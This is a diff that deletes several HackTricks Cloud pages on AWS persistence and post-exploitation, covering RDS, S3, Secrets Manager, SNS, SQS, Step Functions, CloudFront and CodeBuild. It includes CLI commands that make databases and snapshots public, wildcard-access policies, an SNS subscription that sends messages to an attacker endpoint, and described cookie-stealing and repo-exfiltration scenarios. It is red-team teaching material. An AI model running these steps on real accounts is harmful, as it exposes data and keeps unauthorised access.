-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
deleted file mode 100644
index 641621662..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ /dev/null
@@ -1,61 +0,0 @@
-# AWS - RDS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## RDS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-relational-database-rds-enum.md" %}
-[aws-relational-database-rds-enum.md](../aws-services/aws-relational-database-rds-enum.md)
-{% endcontent-ref %}
-
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
-
-{% code overflow="wrap" %}
-```bash
-aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
-```
-{% endcode %}
-
-### Create an admin user inside the DB
-
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
-
-### Make snapshot public
-
-{% code overflow="wrap" %}
-```bash
-aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
deleted file mode 100644
index c821dbd6a..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# AWS - S3 Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## S3
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-s3-athena-and-glacier-enum.md" %}
-[aws-s3-athena-and-glacier-enum.md](../aws-services/aws-s3-athena-and-glacier-enum.md)
-{% endcontent-ref %}
-
-### KMS Client-Side Encryption
-
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
-
-<figure><img src="../../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
-
-### Using S3 ACLs
-
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
deleted file mode 100644
index 9349605bc..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ /dev/null
@@ -1,79 +0,0 @@
-# AWS - Secrets Manager Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Secrets Manager
-
-For more info check:
-
-{% content-ref url="../aws-services/aws-secrets-manager-enum.md" %}
-[aws-secrets-manager-enum.md](../aws-services/aws-secrets-manager-enum.md)
-{% endcontent-ref %}
-
-### Via Resource Policies
-
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
-
-### Via Secrets Rotate Lambda
-
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
-
-```python
-import boto3
-
-def rotate_secrets(event, context):
-    # Create a Secrets Manager client
-    client = boto3.client('secretsmanager')
-
-    # Retrieve the current secret value
-    secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-    # Rotate the secret by updating its value
-    new_secret_value = rotate_secret(secret_value)
-    client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-    # Perform the rotation logic here, e.g., generate a new password
-
-    # Example: Generate a new password
-    new_secret_value = generate_password()
-
-    return new_secret_value
-
-def generate_password():
-    # Example: Generate a random password using the secrets module
-    import secrets
-    import string
-    password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-    return password
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
deleted file mode 100644
index cb0b70d82..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ /dev/null
@@ -1,107 +0,0 @@
-# AWS - SNS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SNS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-sns-enum.md" %}
-[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
-{% endcontent-ref %}
-
-### Persistence
-
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
-
-```json
-{
-  "Version": "2008-10-17",
-  "Id": "__default_policy_ID",
-  "Statement": [
-    {
-      "Sid": "__default_statement_ID",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": [
-        "SNS:Publish",
-        "SNS:RemovePermission",
-        "SNS:SetTopicAttributes",
-        "SNS:DeleteTopic",
-        "SNS:ListSubscriptionsByTopic",
-        "SNS:GetTopicAttributes",
-        "SNS:AddPermission",
-        "SNS:Subscribe"
-      ],
-      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-      "Condition": {
-        "StringEquals": {
-          "AWS:SourceOwner": "318142138553"
-        }
-      }
-    },
-    {
-      "Sid": "__console_pub_0",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": "SNS:Publish",
-      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-    },
-    {
-      "Sid": "__console_sub_0",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": "SNS:Subscribe",
-      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-    }
-  ]
-}
-```
-
-### Create Subscribers
-
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
-
-```bash
-aws sns subscribe --region <region> \
-    --protocol http \
-    --notification-endpoint http://<attacker>/ \
-    --topic-arn <arn>
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
deleted file mode 100644
index 88c12a549..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ /dev/null
@@ -1,68 +0,0 @@
-# AWS - SQS Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## SQS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-sqs-and-sns-enum.md" %}
-[aws-sqs-and-sns-enum.md](../aws-services/aws-sqs-and-sns-enum.md)
-{% endcontent-ref %}
-
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
-
-```json
-{
-  "Version": "2008-10-17",
-  "Id": "__default_policy_ID",
-  "Statement": [
-    {
-      "Sid": "__owner_statement",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": [
-        "SQS:*"
-      ],
-      "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-    }
-  ]
-}
-```
-
-{% hint style="info" %}
-You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
deleted file mode 100644
index 0c7b2c9e4..000000000
--- a/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - Step Functions Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Step Functions
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-stepfunctions-enum.md" %}
-[aws-stepfunctions-enum.md](../aws-services/aws-stepfunctions-enum.md)
-{% endcontent-ref %}
-
-### Step function Backdooring
-
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
-
-### Backdooring aliases
-
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
deleted file mode 100644
index 8a7a800b7..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## CloudFront
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-cloudfront-enum.md" %}
-[aws-cloudfront-enum.md](../aws-services/aws-cloudfront-enum.md)
-{% endcontent-ref %}
-
-### Man-in-the-Middle
-
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
-
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
-
-* **Create** the malicious **function**.
-* **Associate** it with the CloudFront distribution.
-* Set the **event type to "Viewer Response"**.
-
-Accessing the response you could steal the users cookie and inject a malicious JS.
-
-#### scenario 2: MitM where CloudFront is already using a lambda function
-
-* **Modify the code** of the lambda function to steal sensitive information
-
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
deleted file mode 100644
index d0db82e8c..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ /dev/null
@@ -1,111 +0,0 @@
-# AWS - CodeBuild Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## CodeBuild
-
-For more information, check:
-
-{% content-ref url="../../aws-services/aws-codebuild-enum.md" %}
-[aws-codebuild-enum.md](../../aws-services/aws-codebuild-enum.md)
-{% endcontent-ref %}
-
-### Check Secrets
-
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
-
-{% content-ref url="../../aws-privilege-escalation/aws-secrets-manager-privesc.md" %}
-[aws-secrets-manager-privesc.md](../../aws-privilege-escalation/aws-secrets-manager-privesc.md)
-{% endcontent-ref %}
-
-### Abuse CodeBuild Repo Access
-
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
-
-<figure><img src="../../../../.gitbook/assets/image (96).png" alt=""><figcaption></figcaption></figure>
-
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
-
-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
-
-<figure><img src="../../../../.gitbook/assets/image (107).png" alt=""><figcaption></figcaption></figure>
-
-And **change the Buildspec commands to exfiltrate each repo**.
-
-{% hint style="warning" %}
-However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-Or does he? Check the next section
-{% endhint %}
-
